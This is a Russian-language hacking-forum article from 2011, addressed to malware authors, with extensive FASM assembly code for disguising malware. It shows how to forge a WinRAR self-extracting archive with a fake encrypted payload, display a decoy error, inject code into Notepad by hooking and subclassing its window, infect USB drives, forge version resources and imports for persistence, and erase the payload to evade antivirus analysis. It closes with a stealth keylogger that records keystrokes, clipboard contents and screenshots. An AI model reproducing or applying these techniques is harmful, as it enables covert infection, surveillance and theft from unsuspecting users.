Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе

Последнее на Форуме

Контакты

Связь с Администрацией

hpcteam1[@]gmail.com

Статьи rss

[ Добавить Статью на сайт ]

Статьи / Программирование / Assembler

Техники маскировки малвари

0. Введение


Как понятно из заголовка, речь в данной статье пойдет о маскировке вредоносного кода. Просмотрев достаточно большое количество современной малвари я был крайне неприятно удивлен. Сегодня мало кто заботится о маскировке, ограничившись, в лучшем случае, лишь парой общеизвестных антиотладочных методик, забывая при этом, что помимо антивирусов существуют еще и пользователи. Хочется верить, что данная статья хоть как-то повлияет на ситуацию, хотя бы среди русских разработчиков зловреда. Речь пойдет о usermode, никакой антиотладки, обфускации, 0-day техник для обхода всего, что только можно тут вы не увидите, об этом итак писалось уже много раз. Примеры упрощены до максимума: маскироваться мы будем от пользователя и только от пользователя.
Статья поделена на несколько этапов, начиная с маскировки свежее внедренного зловреда и заканчивая обоснованием в системе. Каждый этап статьи сопровождается демонстрационным кодом, также прилагается пример использования всех описанных в статье методик – достаточно примитивный кейлоггер, не создающий процессов/потоков. От читателя потребуются знания основ программирования под windows на, выражаясь языком одного из участников форума, «быдокодерском» ассемблере (синтаксис FASM):)
Также, обращаю ваше внимание, что местами код, приведенный в статье, и код, используемый в примерах различаются. Сделано это было исключительно для облегчения понимания происходящего и уменьшения размера статьи. Что ж, приступим.

1. Внедрение


Непосредственно описание самих методик внедрения лежат за пределами данной статьи, здесь будет описан лишь процесс маскировки внедряемого файла. Для этих целей я предлагаю простой, но действенный способ – подделка под Self Extracting Archive-архив (далее SFX). В качестве жертвы я выбрал WinRAR, но вы можете выбрать любой другой и просто повторить действия, описанные в данной части статьи.
Итак, что же представляет из себя SFX-архив? Это небольшой (относительно) модуль-распаковщик и дописанный в конец файла (в т.н. оверлей; в основном поступают именно так) или где-нибудь в теле (редко, но все-же встречается) архив. При запуске модуль, в зависимости от заданных параметров, показывает диалоговое окно или просто распаковывает в нужное место прикрепленный архив. Т.к. мы лишь создаем видимость, сходство с настоящим SFX-архивом будет лишь внешним, т.е. никаких окон создавать не придется (хотя это, конечно, по желанию:) От оригинального SFX-модуля нам потребуются: ресурсы, секция данных и секция импорта. Конечно, неофит практически наверняка запустит программу, ничего не заподозрив, но опытный пользователь, скорее всего, захочет убедиться в подлинности архива. Некоторые могут даже поковырять таблицу импорта или пройтись по файлу hex-редактором, так что нужно быть готовыми ко всему. Это накладывает определенные ограничения на наш код. В частности – у нас не может быть таблицы импорта, все функции мы должны находить сами. Впрочем, обо всем по порядку.
Размер WRar-SFX модуля составляет 101 кб. и, дабы не вызывать лишних подозрений, мы будем стремиться к этому размеру, как к эталону. Попросту говоря в конец нашей секции с кодом будет дописываться N-ное количество двордов с псевдослучайным содержимым, где N - разница между размером нашей кодовой секции ($-Start) и кодовой секции оригинального SFX’а (13A00h):

repeat (13A00h-($-Start))/4
 random
 dw __RND__ shr 16
 dw 0
end repeat

Также, это выравнивание поможет нам избежать некоторых проблем в будущем, об этом ниже.
Получить секцию данных не составит особого труда - ее можно извлечь практически любым PE-редактором (я использовал для этих целей PE Tools), тоже самое касается секции ресурсов. Касательно импорта ситуация несколько иная: FASM не умеет автоматически перестраивать таблицу импорта для расположения ее по новым адресам, поэтому нам остается либо прибегать к помощи сторонних утилит (как вариант - написанию макроса), либо, что мы и сделаем, размещению таблицы импорта по тому же виртуальному адресу. В принципе, особо делать ничего не нужно - всего лишь выровнять секцию данных:

section '.data' data readable
.data:
file 'wrar\data.dat'
rb 7000h-($-data)
section '.idata' import data readable
file 'wrar\import.dat'
section '.rsrc' data readable resource from 'wrar\sfx.res'

Помимо простоты в исполнении это дает нам еще и внешнее сходство таблиц секций. Правда, если ваш зловред перевесит допустимые пределы и сместит импорт за пределы адреса 1C000h, то таблицу импорта придется все же перестраивать.
Итак, наш псевдо-SFX готов, осталось добавить в оверлей архив.

Правда, остается один нюанс. Обычный архив нам не подойдет, т.к. его содержимое можно очень легко просмотреть (хоть тем же WinRar’ом). Чтобы обезопасить себя и не вызывать лишних подозрений наш архив будет иметь флаг «шифрование заголовков» (0x0080). Дело в том, что с таким заголовком без ввода пароля не удастся получить даже параметры архива (такие, как количество файлов и размер словаря). Фактически вместо тела архива может быть записано абсолютно все, что угодно. Этой особенностью мы и воспользуемся. Внешне это будет выглядеть так:

Попытки просмотреть содержимое архива, опять же, не дадут никаких результатов, а т.к. пароля попросту не существует, подобрать его будет очень непросто:) Чтобы автоматизировать процесс добавления «архива» в оверлей, предлагаю в очередной раз воспользоваться замечательными возможностями FASM. Нижеприведенный код, будучи собранным FASM’ом добавит в оверлей «шифрованный архив», который представляет из себя набор псевдослучайных двойных слов:

file 'malware.exe'

db 0x52,0x61,0x72,0x21,0x1A,0x07,0x00,0x40,0x79,0x73
db 0x8C,0x00,0x0D,0x00,0x00,0x00,0x00,0x00,0x00,0x00

__RND__ = 0
__SEED__ = %t

macro random ;by S.T.A.S.
{__SEED__ = (__SEED__ mod 127773 * 16807) - (__SEED__ / 127773*2836)
 __RND__ = __SEED__ mod 0xFFFFFFFFF }

random
repeat __RND__ mod 1024*30+1
 random
 dd __RND__
end repeat

Ну вот, с нанесением грима на исполняемый модуль мы закончили. Теперь без использования специализированных утилит (вроде отладчика и дизассемблера) уличить нас в распространении зловреда будет очень непросто. Хотя нет, пока что достаточно запустить программу на исполнение и понять, что что-то не так:) Приступим к маскировке «времени исполнения». Конечно, можно создавать окно а-ля оригинальный SFX, но проще при запуске выполнить свои «грязные» действия, показать окно с ошибкой и завершить работу. При этом будет весьма неплохо, если программа будет выполнять какие-нибудь «сложные расчеты» пару секунд. Чтобы избежать проблем с не русскоязычными версиям Windows сообщение будем получать функцией «FormatMessage».

sub eax,eax
push eax
mov ecx,esp
invoke FormatMessage,FORMAT_MESSAGE_FROM_SYSTEM+FORMAT_MESSAGE_ALLOCATE_BUFFER,eax,5AAh,eax,ecx,eax,eax
mov ecx,[esp]
sub eax,eax
invoke MessageBox,eax,ecx,eax,MB_ICONERROR
call [LocalFree]
invoke ExitProcess,eax

2. Маскировка процесса


Маскировка процесса, на мой взгляд, одна из основных наших задач после внедрения в систему, т.к. во многом именно от этого зависит, заподозрит ли что-нибудь пользователь или нет. Есть множество путей решения этой проблемы, в частности инфицирование системных файлов, однако я считаю, что модификация исполняемых файлов на диске – метод достаточно заметный. У нас есть несколько вариантов развития событий:
1. не прятать процесс вовсе
2. создание удаленного потока
3. прятать процесс перехватом системных функций/модификацией структур
4. сабклассинг окна
Первый вариант откидываем сразу, второй и третий были описаны уже столько раз, что это становится скучно. Мы пойдем последним путем – будем сабкассить окно и работать в контексте чужого процесса, при этом, не создавая своих процессов/потоков.

Из-за специфики метода внедрения в чужое АП с этого момента в силу вступают новые ограничения: наш код должен быть базонезависимым (код, приведенный в статье в таком виде использовать нельзя, см. исходник, прилагающийся к статье).
Первое, что нам необходимо – найти окно-жертву, я в качестве жертвы выбрал NOTEPAD.EXE (в процессе отладки приложение имеет свойство часто работать неверно и падать, поэтому внедряться сразу в EXPLORER.EXE несколько неразумно:)

szWndName db 'Notepad',0
hWnd dd ?
dwProccessID dd ?
dwThreadID dd ?
hProcess dd ?
;...
sub eax,eax
invoke FindWindow,szWndName,eax
test eax,eax
je error
invoke GetWindowThreadProcessId,[hWnd],dwProccessID
mov [dwThreadID],eax
sub eax,eax
invoke OpenProcess,PROCESS_DUP_HANDLE,eax,[dwProccessID]
test eax,eax
je error
mov [hProcess],eax

Окно получено, процесс открыт, можно готовиться к внедрению. Учитывая, что мы будем находиться в чужом АП и модуль будет браться с диска, доступа к API-функциям у нас не будет, поэтому придется позаботиться об этом заранее. Для удобства представления информации заведем структуру «ur_MMF»:

struct ur_MMF
OpenEvent dd ?
SetEvent dd ?
VirtualAlloc dd ?
SetWindowLong dd ?
GetWindowLong dd ?
GetModuleHandle dd ?
FreeLibrary dd ?
SetTimer dd ?
KillTimer dd ?
dwModBase dd ?
;...
ends

Есть несколько способов передачи процессу больше 4х байт информации (в смысле, гораздо больше:) и все они сводятся к Memory Mapped Files. Для передачи описателя нашего MMF мы воспользуемся функцией «DuplicateHandle».

szFileMapping db 'ur_FileMappingName',0
hMapping dd ?
lpMapping dd ?
hFileMapping dd ?
;...
sub eax,eax
lea ecx,[eax-1]
invoke CreateFileMapping,ecx,eax,PAGE_READWRITE,eax,FILE_MAPPING_SIZE,szFileMapping
test eax,eax
je error
mov [hMapping],eax
sub ecx,ecx
invoke MapViewOfFile,eax,FILE_MAP_WRITE,ecx,ecx,FILE_MAPPING_SIZE
test eax,eax
je error
mov [lpMapping],eax
sub ecx,ecx
lea edx,[ecx-1]
invoke DuplicateHandle,edx,[hMapping],[hProcess],hFileMapping,ecx,ecx,DUPLICATE_SAME_ACCESS
invoke CloseHandle,[hProcess]
mov eax,[lpMapping]
mov ecx,[OpenEvent]
mov [eax+ur_MMF.OpenEvent],ecx
mov ecx,[SetEvent]
mov [eax+ur_MMF.SetEvent],ecx
mov ecx,[VirtualAlloc]
mov [eax+ur_MMF.VirtualAlloc],ecx
mov ecx,[SetWindowLong]
mov [eax+ur_MMF.SetWindowLong],ecx
mov ecx,[GetWindowLong]
mov [eax+ur_MMF.GetWindowLong],ecx
mov ecx,[GetModuleHandle]
mov [eax+ur_MMF.GetModuleHandle],ecx
mov ecx,[FreeLibrary]
mov [eax+ur_MMF.FreeLibrary],ecx
mov ecx,[SetTimer]
mov [eax+ur_MMF.SetTimer],ecx
mov ecx,[KillTimer]
mov [eax+ur_MMF.KillTimer],ecx

Также, нам необходимо знать, когда процесс внедрения завершен и можно заметать за собой следы. Для этих целей мы будем использовать события. Также, нашей структуре появляется новый элемент.

struct ur_MMF
;...
szEventName rb 200
;...
ends
;...
szEventName db 'ur_EventName',0
hEvent dd ?
;...
sub eax,eax
invoke CreateEvent,eax,eax,eax,szEventName
test eax,eax
je error
mov [hEvent],eax
mov eax,[lpMapping]
lea eax,[eax+ur_MMF.szEventName]
invoke strcpy,eax,szEventName

Код внедрения представляет из себя пресловутый Windows Hook, и ничего необычного тут нет. Мы просто устанавливаем перехват на один процесс и ждем сигнала от обработчика:

hHook dd ?
;...
sub eax,eax
invoke GetModuleHandle,eax
invoke SetWindowsHookEx,WH_GETMESSAGE,Inject,eax,[dwThreadID]
invoke PostMessage,[hWnd],0xDEAD,[hFileMapping],[MapViewOfFile]
invoke WaitForSingleObject,[hEvent],10000
invoke UnhookWindowsHookEx,[hHook]

Код обработчика выполняется уже в контексте атакуемого процесса, поэтому нам необходимо выделить место под код и установить процедуру-обработчик для окна (собственно, сабклассировать окно).

proc Inject,nCode,wParam,lParam
local hEvent dd ?
	sub eax,eax
	cmp [nCode],eax
	jne .ret
	mov eax,[lParam]
	cmp dword[eax+MSG.message],0xDEAD
	je @F
.ret:	ret

@@:	pusha
	call @F
@@:	pop edi
	sub edi,@B

	sub ebx,ebx
	;в lParam мы передали адрес функции MapViewOfFile, в wParam лежит описатель файла
	stdcall dword[eax+MSG.lParam],[eax+MSG.wParam],FILE_MAP_READ+FILE_MAP_WRITE,ebx,ebx,sizeof.ur_MMF
	mov [edi+lpAPITbl],eax
	xchg eax,esi

virtual at esi
	.esi ur_MMF
end virtual

	lea eax,[.esi.szEventName]
	lea ecx,[ebx+1]
	invoke .esi.OpenEvent,EVENT_ALL_ACCESS,ecx,eax
	test eax,eax
	je .end
	mov [hEvent],eax

	invoke .esi.VirtualAlloc,ebx,ur_CodeSize,MEM_COMMIT,PAGE_READWRITE
	test eax,eax
	je .exit
	lea ecx,[edi+ur_CODE]
	push eax
	push eax
	stdcall memcpy,eax,ur_CodeSize,ecx
	mov eax,[lParam]
	mov ebx,[eax]
	invoke .esi.SetWindowLong,ebx,GWL_WNDPROC
	lea ecx,[edi+hOldWndProc]
	lea edx,[edi+ur_CODE]
	sub ecx,edx
	pop edx
	mov [edx+ecx],eax

	sub eax,eax
	invoke .esi.GetModuleHandle,eax
	mov [.esi.dwModBase],eax

.exit:	invoke .esi.SetEvent,[hEvent]
.end:	popa
	ret
endp
;...
lpAPITbl dd ? ;указатель на нашу структуру

Финальный штрих: код обработчика окна. По большому счету это самая обыкновенная оконная процедура. Правда, есть одно НО - мы не получим сообщения «WM_INITDIALOG», а нужных нам библиотек в АП чужого процесса может и не быть. Решить это можно разными путями, в частности загрузкой нужных DLL на предыдущем этапе, но это может занять достаточно много времени что не очень безопасно. Я выбрал иной путь – при первом запуске сработает безусловный переход на инициализирующий код, который первым делом затрет переход NOP’ами и выполнит все необходимые действия (загрузка DLL, поиск API и т.д.).

proc ur_CODE,hWnd,uMsg,wParam,lParam
	pusha
	sub ebx,ebx

	call @F
@@:	pop edi
	sub edi,@B

	mov esi,[edi+lpAPITbl]
virtual at esi
	.esi ur_MMF
end virtual

.path_here:
	jmp near .first_run

	mov eax,[uMsg]
	cmp eax,WM_TIMER
	je .evil
	cmp eax,WM_DESTROY
	je .TheEnd

.ret:	push [lParam]
	push [wParam]
	push [uMsg]
	push [hWnd]
	push dword 0x00000000
hOldWndProc = $-4
	call [.esi.CallWindowProc]
	mov [esp+1Ch],eax
	popa
	ret

.evil:	mov eax,[wParam]
	cmp eax,0DEFACEh
	jne .ret
;evil...
	jmp .ret

.TheEnd:
;cleanup
	invoke .esi.KillTimer,[hWnd],0DEFACEh
	jmp .ret

.first_run:
	mov eax,90909090h
	mov [edi+.path_here+0],eax
	mov [edi+.path_here+4],al
;init
	invoke .esi.FreeLibrary,[.esi.dwModBase]
	invoke .esi.SetTimer,[hWnd],0DEFACEh,ur_EvilInterval,ebx
	jmp .ret
endp
;...
ur_CodeSize = $-urCODE

Как видите – ничего сложного здесь нет. Вместо таймера можно выбрать что-нибудь другое. К примеру, создать асинхронный сокет и ждать команды бот-мастера.
Данный метод очень хорош, но его можно еще немного улучшить. Например, копировать свой код не в память, выделенную по средствам «VirtualAlloc» (при размещении кода в таком участке это очень хорошо видно на карте памяти), а путем поиска свободного места в памяти процесса или же ставить длинный безусловный переход на пролог оригинальной функции-обработчике (подобно «сплайсингу»). В общем, как говорится, есть, где развернуться.
Если вы все еще сомневаетесь в практичности данного метода, вот несколько доводов в его пользу:

  • не создает лишних потоков/процессов
  • не висит «левой» DLL в АП процесса
  • не один известный мне инструмент такие инжекты не обнаруживает
  • возможность писать в свой исполняемый файл
  • оконные сообщения, вроде WM_DEVICECHANGE

Минусов замечено не было :)
На последнем пункте хотелось бы остановиться по подробнее. Сообщение «WM_DEVICECHANGE» рассылается всем окнам и может быть использовано, к примеру, для заражения флешек:

;...
cmp [uMsg],WM_DEVICECHANGE
je .inf_flash
;...
.inf_flash:
cmp dword[wParam],DBT_DEVICEARRIVAL
jne .ret
mov eax,[lParam]
cmp dword[eax+4],DBT_DEVTYP_VOLUME
jne .ret
bsf ecx,[eax+0Ch]
jecxz .ret
lea eax,[ecx+'A'] ;в EAX буква диска
stdcall infect_device,eax
jmp .ret

Реализация функции «infect_device» остается на совести читателя:)

3. Закрепление в системе


Итак, мы в системе. Достаточно наивно полагать, что наш «SFX-архив», находясь в списке авто загружаемых модулей, не вызовет подозрений.

Конечно, можно носить с собой дополнительный модуль и записывать его на диск при необходимости, но ведь куда более грамотно будет просто сменить грим: у нас будет каждый раз разная информация о версии, уникальный импорт и разнообразный бред в секции данных, разный размер модуля. За эту уникальность придется заплатить еще одним ограничением: код, данные и все, что нам нужно должно храниться в одной секции. Т.к. код у нас уже базонезависим, а импорт отсутствует – реализовать задуманное не составит особого труда.
Смену грима начнем, пожалуй, с секции данных. Изначально планировалось копировать секцию данных из оригинального EXE-модуля, но на практике оказалось, что этот вариант не очень хорош, т.к. в секции с данными редко встречаются текстовые строки. Будем генерировать данные сами и записывать их в секцию данных. С данными разобрались, можно переходить к ресурсам. Задача эта весьма тривиальна, ОС предоставляет нам все необходимые для этого инструменты. Слегка упрощенная функция для поиска случайного файла и последующего «выдирание» из него информации о версии может выглядеть примерно так:

proc FindRES,lpMem
locals
szBuff rb 400
fndata WIN32_FIND_DATA
hFind dd ?
dwLen dd ?
ch1 db ?
ch2 db ?
hFile dd ?
lpRes dd ?
dwResSize dd ?
endl
	lea eax,[szBuff]
	invoke GetSystemDirectory,eax,260
	test eax,eax
	je .ret
	mov [dwLen],eax
.rnd_file:
	mov eax,'z'-'a'
	call prng
	add eax,'a'
	mov [ch1],al
	mov eax,'z'-'a'
	call prng
	add eax,'a'
	mov [ch2],al

	mov eax,[dwLen]
	lea ecx,[szBuff+eax]
	mov dword[ecx+0],'\х*й' ;  (:P
	mov dword[ecx+4],'*.ex'
	mov  word[ecx+8],'e'
	mov dl,[ch1]
	mov byte[ecx+1],dl
	mov dl,[ch2]
	mov byte[ecx+3],dl

	lea eax,[szBuff]
	lea ecx,[fndata]
	invoke FindFirstFile,eax,ecx
	test eax,eax
	js .rnd_file
	mov [hFind],eax

	lea eax,[szBuff]
	add eax,[dwLen]
	mov byte[eax],'\'
	inc eax
	lea ecx,[fndata.cFileName]
	stdcall strcpy,eax,ecx

	lea eax,[szBuff]
	invoke LoadLibrary,eax
	test eax,eax
	je .bad_name
	mov [hFile],eax
	invoke FindResource,eax,1,RT_VERSION
	test eax,eax
	je .close_bad
	mov [lpRes],eax
	invoke SizeofResource,[hFile],eax
	test eax,eax
	je .close_bad
	mov [dwResSize],eax
	invoke LoadResource,[hFile],[lpRes]
	test eax,eax
	je .close_bad
	mov [lpRes],eax
	invoke LockResource,[lpRes]
	test eax,eax
	je .close_bad
	movzx ecx,word[eax]
	cmp ecx,[dwResSize]
	ja .close_bad
	add ecx,3
	and ecx,0FFFFFFFCh
	mov [dwResSize],ecx
	stdcall memcpy,[lpMem],eax,ecx
	invoke FreeLibrary,[hFile]
	invoke FindClose,[hFind]
	mov eax,[dwResSize]
	jmp .ret

.close_bad:
	invoke FreeLibrary,[hFile]
	jmp .bad_name

.ret_0:	sub eax,eax
.ret:	ret
endp

Как не сложно заметить:), в коде используется функция «LoadLibrary», имеющая привычку выводить ругательства на «неправильные» библиотеки. Эти сообщения необходимо предусмотрительно отключить функцией «SetErrorMode» (см. код в архиве).
В целях экономии места, в данном коде отсутствует проверка на «правильные» имена (довольно странно прикидываться пасьянсом «Косынка», не находите?:), а также фильтрация по критерию «только от МС». Ничего сложного тут нет, а результат, как говорится, на лицо:

Последним штрихом в нашей маскировке будет подложный импорт. Т.к. вызывать эти функции мы не будем, проблем с составлением таблицы импорта у нас не возникнет. В целях экономии места, код здесь приводить не буду, желающие могут заглянуть в исходник

Также, на тот случай, если пользователь вдруг что-нибудь заподозрит мы дополнительно, после выполнения всех запланированных мероприятий по инфицированию системы и вывода сообщения об ошибке, удалим из SFX’а вредоносный код. Конечно, это лишит данный экземпляр нашей малвари возможности размножения, но в тоже время, даже если пользователь отдаст файл на анализ в АВ - там ничего не найдут. Процедура «зачистки» будет выглядеть так:

proc kill_malcode,lpFile
locals
hFile dd ?
hMap dd ?
lpMap dd ?
endl
	pusha
	sub ebx,ebx
	invoke CreateFile,[lpFile],GENERIC_READ+GENERIC_WRITE,FILE_SHARE_READ,ebx,OPEN_EXISTING,ebx,ebx
	test eax,eax
	js .ret
	mov [hFile],eax
	invoke CreateFileMapping,eax,ebx,PAGE_READWRITE,ebx,ebx,ebx
	test eax,eax
	je .closef
	mov [hMap],eax
	invoke MapViewOfFile,eax,FILE_MAP_READ+FILE_MAP_WRITE,ebx,ebx,ebx
	test eax,eax
	je .closem
	mov [lpMap],eax
	mov ecx,[eax+3Ch]
	add ecx,eax
	lea ecx,[ecx+0F8h]
	mov ecx,[ecx+14h]
	lea edi,[eax+ecx+MALICIOUS_CODE_OFFSET]
	sub eax,eax
	mov ecx,MALICIOUS_CODE_SIZE
	shl ecx,2
	rep stosd
	invoke UnmapViewOfFile,[lpMap]
.closem:invoke CloseHandle,[hMap]
.closef:invoke CloseHandle,[hFile]
.ret:	popa
	ret
endp

Примечание. Примеры к статье, при заражении системы, код для размножения с собой не берут, т.е. способность для размножения у них отсутствует. Исправить эту ситуацию предельно просто - немного расширить границы «MALICIOUS_CODE_OFFSET» и «MALICIOUS_CODE_SIZE» (условно), а также завести переменную «dwFirstRun» (или что-то вроде), дабы при загрузке системы не выводить сообщение об ошибке.

4. Практический пример: кейлоггер


Чтобы как-то суммировать вышеописанное поговорим немного о практическом примере, напишем простенький, но максимально приближенный к своему «боевому» аналогу, кейлоггер, использующий описанные выше методики. Работать он будет, используя функцию «GetRawInputData» (появилась, начиная с WinXP). Логгер наш будет максимально простым, он будет уметь только запоминать нажатые клавиши, следить за буфером обмена, время от времени делать скришоты, а также реагировать на смену окон и раскладок клавиатуры (поддерживает только ENG и RUS). Поговорим немного об устройстве нашего кейлоггера.
Наличие легального окна очень поможет нам в слежении за буфером обмена. Для этого мы будем использовать функцию «SetClipboardViewer». Каждый раз, при смене содержимого буфера обмена система любезно уведомит нас об этом событии сообщением «WM_DRAWCLIPBOARD». Уведомления о нажатых клавишах также будут приходить нам прямо в окно, в виде сообщения «WM_INPUT». Для мониторинга ключа автозапуска мы воспользуемся функцией «RegNotifyChangeKeyValue». К сожалению, напрямую с окнами она взаимодействовать не умеет. Мы создадим ожидающий изменений тред, который и будет отсылать сообщение нашему окну:

WM_REGCHANGE = WM_USER+0DEFACEDh
struct RegChange
hKey dd ?
szKey rb 260
dwFilter dd ?
ends
;...
proc RegMonitorThread uses esi,lpRegChange
	mov esi,[lpRegChange]
@@:	sub eax,eax
	invoke RegNotifyChangeKeyValue,[esi+RegChange.hKey],eax,[esi+RegChange.dwFilter],eax,eax
	lea eax,[esi+RegChange.szKey]
	invoke SendMessage,[Wnd],WM_REGCHANGE,[esi+RegChange.hKey],eax
	cmp [dwExitFlag],1
	jne @B	
exit:	ret
endp

5. Заключение


Ну, вот и все, что я хотел рассказать по поводу маскировки. Конечно, это защита только от пользователя и она далеко не идеальна (а местами даже весьма наивна), но с другой стороны, «положа руку на сердце», неужели, вы каждый раз, встретив сообщение об ошибке, лезете в отладчик?.. Использовать вышеописанные методики в «голом» виде было бы полнейшим маразмом - маскировка это мероприятие сложное и комплексное, как минимум необходимо добавить еще антиотладочные трюки, защиту от запуска на VM, полиморфный движок и т.д. Написано об это много (даже, пожалуй, слишком много) и проблем с этим возникнуть не должно. Комментировать код я не умею и не люблю, но примеры понятны и без моих безграмотных комментариев :) Если есть какие-то вопросы, пожелания, критика, багрепорты и т.д. - буду рад выслушать.

Спасибо за внимание.

Автор: Stelsi

Источник: http://hpc.name

Материал добавил Stelsi


Комментарии(1)

Дата: 2011-02-06 17:42:34

Добавить Комментарий к Материалу

Вы должны быть авторизованы на форуме чтобы добавлять комментарии. Регистрация Уже авторизованы?

Комментарии к Материалу

 quake              2011-11-17 11:53:23

Весьма интересная статья, спасибо.

Последнее на Сайте

Новости

Статьи

Bugtraq

Файлы

Copyright © 2008 - 2017 «HPC». При копировании материалов ставьте ссылку на источник.
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.
Пользовательское соглашение Реклама на сайте